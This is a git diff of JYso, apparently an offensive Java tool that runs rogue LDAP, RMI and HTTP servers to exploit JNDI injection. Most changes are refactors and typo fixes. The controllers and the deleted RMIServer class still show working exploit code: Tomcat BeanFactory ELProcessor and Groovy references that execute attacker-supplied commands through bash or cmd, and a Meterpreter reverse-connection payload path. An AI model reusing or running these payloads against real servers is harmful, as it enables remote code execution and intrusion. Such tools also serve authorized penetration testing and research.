params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
@@ -591,15 +590,15 @@ public class HTTPServer {
}
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
- ByteArrayOutputStream bout = new ByteArrayOutputStream();
- JarOutputStream jarOut = new JarOutputStream(bout);
+ ByteArrayOutputStream bout = new ByteArrayOutputStream();
+ JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
- String jarName = Util.getRandomString();
+ String jarName = Utils.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java
index d937b61..d7a42b2 100644
--- a/src/main/java/com/qi4l/JYso/LdapServer.java
+++ b/src/main/java/com/qi4l/JYso/LdapServer.java
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
-import com.qi4l.JYso.controllers.utils.AESUtils;
+import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
@@ -36,9 +36,9 @@ public class LdapServer extends InMemoryOperationInterceptor {
//instantiate them and store in the routes map
for (Class controller : controllers) {
- Constructor cons = controller.getConstructor();
+ Constructor cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
- String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
+ String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
@@ -86,7 +86,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
- base = AESUtils.decrypt(base, AESkey);
+ base = JNDIUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java
deleted file mode 100644
index fc71f7a..0000000
--- a/src/main/java/com/qi4l/JYso/RMIServer.java
+++ /dev/null
@@ -1,323 +0,0 @@
-package com.qi4l.JYso;
-
-
-import com.qi4l.JYso.controllers.rmi.Basic;
-import com.qi4l.JYso.controllers.rmi.ELProcessor;
-import com.qi4l.JYso.gadgets.utils.Reflections;
-import com.sun.jndi.rmi.registry.ReferenceWrapper;
-import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
-import org.apache.naming.ResourceRef;
-import org.fusesource.jansi.Ansi;
-import sun.rmi.server.UnicastServerRef;
-import sun.rmi.transport.TransportConstants;
-
-import javax.naming.Reference;
-import javax.naming.StringRefAddr;
-import javax.net.ServerSocketFactory;
-import java.io.*;
-import java.lang.reflect.Field;
-import java.net.*;
-import java.rmi.MarshalException;
-import java.rmi.server.ObjID;
-import java.rmi.server.RemoteObject;
-import java.rmi.server.UID;
-import java.util.Arrays;
-
-import static com.qi4l.JYso.gadgets.Config.Config.*;
-import static org.fusesource.jansi.Ansi.ansi;
-
-
-/**
- * Generic JRMP listener
- *
- * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
- *
- * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
- *
- * @author mbechler
- */
-@SuppressWarnings({
- "restriction"
-})
-public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
-
- private final ServerSocket ss;
- private final Object waitLock = new Object();
- private final URL classpathUrl;
- private boolean exit;
-
-
- public RMIServer(int port, URL classpathUrl) throws IOException {
- this.classpathUrl = classpathUrl;
- this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
- }
-
- public static void start() {
- String url = "http://" + ip + ":" + rmiPort;
-
- try {
- System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "..."));
- RMIServer c = new RMIServer(rmiPort, new URL(url));
- c.run();
- } catch (Exception e) {
- System.err.println("Listener error");
- e.printStackTrace(System.err);
- }
- }
-
- public static ResourceRef execByEL() {
-
- ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
- ref.add(new StringRefAddr("forceString", "x=eval"));
- ref.add(new StringRefAddr("x", String.format(
- "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
- "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
- ")",
- command
- )));
-
- return ref;
- }
-
- private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
- ois.readInt(); // method
- ois.readLong(); // hash
- System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
- }
-
- public void close() {
- this.exit = true;
- try {
- this.ss.close();
- } catch (IOException ignored) {
- }
- synchronized (this.waitLock) {
- this.waitLock.notify();
- }
- }
-
- @Override
- public void run() {
- try {
- Socket s = null;
- try {
- while (!this.exit && (s = this.ss.accept()) != null) {
- try {
- s.setSoTimeout(5000);
- InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
- //System.err.println("[+] Have connection from " + remote);
-
- InputStream is = s.getInputStream();
- InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
-
- // Read magic (or HTTP wrapper)
- bufIn.mark(4);
- try (DataInputStream in = new DataInputStream(bufIn)) {
- int magic = in.readInt();
-
- short version = in.readShort();
- if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
- s.close();
- continue;
- }
-
- OutputStream sockOut = s.getOutputStream();
- BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
- try (DataOutputStream out = new DataOutputStream(bufOut)) {
-
- byte protocol = in.readByte();
- switch (protocol) {
- case TransportConstants.StreamProtocol:
- out.writeByte(TransportConstants.ProtocolAck);
- if (remote.getHostName() != null) {
- out.writeUTF(remote.getHostName());
- } else {
- out.writeUTF(remote.getAddress().toString());
- }
- out.writeInt(remote.getPort());
- out.flush();
- in.readUTF();
- in.readInt();
- case TransportConstants.SingleOpProtocol:
- doMessage(s, in, out);
- break;
- default:
- case TransportConstants.MultiplexProtocol:
- System.err.println("Unsupported protocol");
- s.close();
- continue;
- }
-
- bufOut.flush();
- out.flush();
- }
- }
- } catch (InterruptedException e) {
- return;
- } catch (Exception e) {
- e.printStackTrace(System.err);
- } finally {
- System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
- s.close();
- }
-
- }
-
- } finally {
- if (s != null) {
- s.close();
- }
- if (this.ss != null) {
- this.ss.close();
- }
- }
-
- } catch (SocketException ignored) {
- } catch (Exception e) {
- e.printStackTrace(System.err);
- }
- }
-
- private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
- //System.err.println("[+] RMI服务器 >> 正在读取信息");
-
- int op = in.read();
-
- switch (op) {
- case TransportConstants.Call:
- // service incoming RMI call
- doCall(in, out);
- break;
-
- case TransportConstants.Ping:
- // send ack for ping
- out.writeByte(TransportConstants.PingAck);
- break;
-
- case TransportConstants.DGCAck:
- UID.read(in);
- break;
-
- default:
- throw new IOException(" RMI 服务器 >> 无法识别：" + op);
- }
-
- s.close();
- }
-
- private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
- ObjectInputStream ois = new ObjectInputStream(in) {
-
- @Override
- protected Class resolveClass(ObjectStreamClass desc) throws IOException {
- if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
- return ObjID[].class;
- } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
- return ObjID.class;
- } else if ("java.rmi.server.UID".equals(desc.getName())) {
- return UID.class;
- } else if ("java.lang.String".equals(desc.getName())) {
- return String.class;
- }
- throw new IOException(" RMI 服务器 >> 无法读取 Object");
- }
- };
-
- ObjID read;
- try {
- read = ObjID.read(ois);
- } catch (IOException e) {
- throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
- }
-
- if (read.hashCode() == 2) {
- // DGC
- handleDGC(ois);
- } else if (read.hashCode() == 0) {
- if (handleRMI(ois, out)) {
- synchronized (this.waitLock) {
- this.waitLock.notifyAll();
- }
- }
- }
-
- }
-
- private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
- int method = ois.readInt(); // method
- ois.readLong(); // hash
-
- if (method != 2) { // lookup
- return false;
- }
-
- String object = (String) ois.readObject();
- //System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
- out.writeByte(TransportConstants.Return); // transport op
- try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
-
- oos.writeByte(TransportConstants.NormalReturn);
- new UID().write(oos);
-
- //反射调用的类名
- ReferenceWrapper rw = null;
-
- if (object.startsWith("ELProcessor")) {
- ResourceRef result = ELProcessor.refTomcatBypass(object);
- rw = new ReferenceWrapper(result);
- } else if (object.startsWith("basic")) {
- rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
- Reference result = Basic.basic(object);
- Reflections.setFieldValue(rw, "wrappee", result);
- }
-
- Field refF = RemoteObject.class.getDeclaredField("ref");
- refF.setAccessible(true);
- refF.set(rw, new UnicastServerRef(12345));
-
- oos.writeObject(rw);
-
- oos.flush();
- out.flush();
- }
- return true;
- }
-
- static final class MarshalOutputStream extends ObjectOutputStream {
-
- private final URL sendUrl;
-
-
- public MarshalOutputStream(OutputStream out, URL u) throws IOException {
- super(out);
- this.sendUrl = u;
- }
-
-
- @Override
- protected void annotateClass(Class cl) throws IOException {
- if (this.sendUrl != null) {
- writeObject(this.sendUrl.toString());
- } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
- writeObject(null);
- } else {
- URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
- StringBuilder cb = new StringBuilder();
-
- for (URL u : us) {
- cb.append(u.toString());
- }
- writeObject(cb.toString());
- }
- }
-
-
- /**
- * Serializes a location from which to load the specified class.
- */
- @Override
- protected void annotateProxyClass(Class cl) throws IOException {
- annotateClass(cl);
- }
- }
-}
diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java
index 7b98937..3acf0a2 100644
--- a/src/main/java/com/qi4l/JYso/Starter.java
+++ b/src/main/java/com/qi4l/JYso/Starter.java
@@ -10,15 +10,15 @@ import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
- public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
+ public static CaseInsensitiveMap>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
+ public static boolean JYsoMode = false;
+
static {
- for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) {
+ for (Class> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
- public static boolean JYsoMode = false;
-
public static void main(String[] args) throws Exception {
// 如果参数中包含-j，则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
@@ -28,12 +28,10 @@ public class Starter {
HTTPServer.start();
if (Config.TLSProxy) {
TLSProxy.start();
- } else {
- //RMIServer.start();
}
}
- // 如果参数中包含-y，则启动 ysuserial
+ // 如果参数中包含-y，则启动 ysu serial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java
index a119632..711c129 100644
--- a/src/main/java/com/qi4l/JYso/TLSProxy.java
+++ b/src/main/java/com/qi4l/JYso/TLSProxy.java
@@ -31,7 +31,7 @@ public class TLSProxy {
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
- new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile,Config.keyPass).run();
+ new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyPass).run();
}
public void run() {
@@ -61,9 +61,9 @@ public class TLSProxy {
private SSLServerSocketFactory createSSLServerSocketFactory() {
try {
- SSLContext sslContext = SSLContext.getInstance("TLS");
+ SSLContext sslContext = SSLContext.getInstance("TLS");
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
- KeyStore keyStore = KeyStore.getInstance("JKS");
+ KeyStore keyStore = KeyStore.getInstance("JKS");
try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) {
keyStore.load(keyInput, keyPass.toCharArray());
@@ -80,7 +80,7 @@ public class TLSProxy {
private void handleConnection(SSLSocket clientSocket) {
String[] remoteAddressParts = remoteAddr.split(":");
- Socket remoteSocket = null;
+ Socket remoteSocket = null;
try {
// 修复：使用 remoteAddr 而不是 localAddr
@@ -138,7 +138,7 @@ public class TLSProxy {
private void forwardData(InputStream input, OutputStream output) throws IOException {
byte[] buffer = new byte[8192];
- int bytesRead;
+ int bytesRead;
try {
while ((bytesRead = input.read(buffer)) != -1) {
diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java
index 75b75ac..beb4d5d 100644
--- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
@@ -14,6 +14,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import java.net.URL;
import java.nio.charset.StandardCharsets;
@@ -25,6 +27,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
+ private static final Logger log = LoggerFactory.getLogger(BasicController.class);
private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
@@ -32,6 +35,24 @@ public class BasicController implements LdapController {
private String[] params = new String[0];
private GadgetType gadgetType;
+ static String getStringQ(String base, int index) {
+ int cursor = 0;
+ int found = 0;
+ while (cursor < base.length()) {
+ int nextSlash = base.indexOf('/', cursor);
+ if (nextSlash == -1) nextSlash = base.length();
+
+ if (nextSlash > cursor) {
+ if (found == index) {
+ return base.substring(cursor, nextSlash);
+ }
+ found++;
+ }
+ cursor = nextSlash + 1;
+ }
+ return "";
+ }
+
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -49,21 +70,21 @@ public class BasicController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
- er.printStackTrace();
+ log.error(String.valueOf(er));
}
}
// 解析请求路径，确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI Remote Refenrence Links ");
+ System.out.println("- JNDI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
- System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
+ System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
@@ -123,20 +144,20 @@ public class BasicController implements LdapController {
switch (gadgetType) {
case base64:
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
- String encoded = Util.getCmdFromBase(base);
+ String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
- String[] results = Util.getIPAndPortFromBase(base);
+ String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
- System.out.println(" RemotHost: " + results[0]);
- System.out.println(" RemotPort: " + results[1]);
+ System.out.println(" RemoteHost: " + results[0]);
+ System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
@@ -145,21 +166,7 @@ public class BasicController implements LdapController {
// 提取路径中第 index 个非空段，保持与原解析逻辑一致。
private String segment(String base, int index) {
- int cursor = 0;
- int found = 0;
- while (cursor < base.length()) {
- int nextSlash = base.indexOf('/', cursor);
- if (nextSlash == -1) nextSlash = base.length();
-
- if (nextSlash > cursor) {
- if (found == index) {
- return base.substring(cursor, nextSlash);
- }
- found++;
- }
- cursor = nextSlash + 1;
- }
- return "";
+ return getStringQ(base, index);
}
// 返回连字符后的子串，用于解析自定义类名。
diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
index 18c015e..cd17726 100644
--- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
@@ -14,13 +14,14 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import javax.naming.StringRefAddr;
-import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Locale;
-import static org.fusesource.jansi.Ansi.ansi;
+import static com.qi4l.JYso.controllers.BasicController.getStringQ;
@LdapMapping(uri = {"/elprocessor"})
@@ -28,6 +29,7 @@ public class ELProcessorController implements LdapController {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
+ private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class);
private String payloadType;
// 记录解析请求时提取出的命令参数或回连信息。
@@ -53,26 +55,26 @@ public class ELProcessorController implements LdapController {
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", buildPayloadScript()));
- entry.addAttribute("javaSerializedData", Util.serialize(ref));
+ entry.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
- er.printStackTrace();
+ log.error(String.valueOf(er));
}
}
// 解析请求路径，确定 payload 类型及其所需参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
+ System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
@@ -97,7 +99,7 @@ public class ELProcessorController implements LdapController {
} else if (payloadType.contains("command")) {
scriptBody = helper.getExecCode(params[0]);
} else if (payloadType.contains("msf")) {
- scriptBody = helper.injectMeterpreter();
+ scriptBody = helper.injectInterpreter();
} else {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
@@ -123,20 +125,20 @@ public class ELProcessorController implements LdapController {
switch (gadgetType) {
case base64:
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
- String encoded = Util.getCmdFromBase(base);
- String decoded = new String(Util.base64Decode(encoded));
+ String encoded = Utils.getCmdFromBase(base);
+ String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
- String[] results = Util.getIPAndPortFromBase(base);
+ String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
- System.out.println("[+] RemotHost: " + results[0]);
- System.out.println("[+] RemotPort: " + results[1]);
+ System.out.println("[+] RemoteHost: " + results[0]);
+ System.out.println("[+] RemotePort: " + results[1]);
return results;
default:
return new String[0];
@@ -145,21 +147,7 @@ public class ELProcessorController implements LdapController {
// 提取路径中的第 index 个非空段，保持与原有解析方式一致。
private String segment(String base, int index) {
- int cursor = 0;
- int found = 0;
- while (cursor < base.length()) {
- int next = base.indexOf('/', cursor);
- if (next == -1) next = base.length();
-
- if (next > cursor) {
- if (found == index) {
- return base.substring(cursor, next);
- }
- found++;
- }
- cursor = next + 1;
- }
- return "";
+ return getStringQ(base, index);
}
// 返回连字符后的子串，用于解析自定义类名。
@@ -170,7 +158,7 @@ public class ELProcessorController implements LdapController {
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑，保持主控制器简洁。
private class TomcatBypassHelper {
- String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
+ String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field host = clazz.getDeclaredField("host");
host.setAccessible(true);
@@ -182,18 +170,18 @@ public class ELProcessorController implements LdapController {
return InjShell.injectClass(clazz);
}
- String getExecCode(String cmd) throws IOException {
- return "var strs=new Array(3);\n"
+ String getExecCode(String cmd) {
+ return "var str_s=new Array(3);\n"
+ " if(java.io.File.separator.equals('/')){\n"
- + " strs[0]='/bin/bash';\n"
- + " strs[1]='-c';\n"
- + " strs[2]='" + cmd + "';\n"
+ + " str_s[0]='/bin/bash';\n"
+ + " str_s[1]='-c';\n"
+ + " str_s[2]='" + cmd + "';\n"
+ " }else{\n"
- + " strs[0]='cmd';\n"
- + " strs[1]='/C';\n"
- + " strs[2]='" + cmd + "';\n"
+ + " str_s[0]='cmd';\n"
+ + " str_s[1]='/C';\n"
+ + " str_s[2]='" + cmd + "';\n"
+ " }\n"
- + " java.lang.Runtime.getRuntime().exec(strs);";
+ + " java.lang.Runtime.getRuntime().exec(str_s);";
}
}
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
index 4b0a9df..ebb7b23 100644
--- a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
@@ -1,9 +1,8 @@
package com.qi4l.JYso.controllers;
-import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -13,8 +12,6 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
-import static org.fusesource.jansi.Ansi.ansi;
-
/*
* Requires:
* - Tomcat and Groovy in classpath
@@ -29,13 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
- private PayloadType type;
- private String[] params;
- private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
- " ['cmd','/C', '${cmd}'].execute();\n" +
- " } else {\n" +
- " ['/bin/sh','-c', '${cmd}'].execute();\n" +
- " }";
+ private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -45,9 +36,14 @@ public class GroovyController implements LdapController {
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
+ String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
+ " ['cmd','/C', '${cmd}'].execute();\n" +
+ " } else {\n" +
+ " ['/bin/sh','-c', '${cmd}'].execute();\n" +
+ " }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
- e.addAttribute("javaSerializedData", Util.serialize(ref));
+ e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
@@ -55,22 +51,16 @@ public class GroovyController implements LdapController {
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
+ System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try {
- int firstIndex = base.indexOf("/");
+ int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
- if (payloadType.equalsIgnoreCase("command")) {
- type = PayloadType.valueOf("command");
- //System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
- } else {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
- }
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
diff --git a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
index 7e7c194..1805dc0 100644
--- a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,9 +16,8 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
-public class MemoryXXEController implements LdapController{
- private String payloadType;
- private String[] params;
+public class MemoryXXEController implements LdapController {
+ private String[] params;
private GadgetType gadgetType;
@Override
@@ -28,31 +27,23 @@ public class MemoryXXEController implements LdapController{
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
- e.addAttribute("javaSerializedData", Util.serialize(ref));
+ e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
- System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
+ System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try {
base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
+ int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
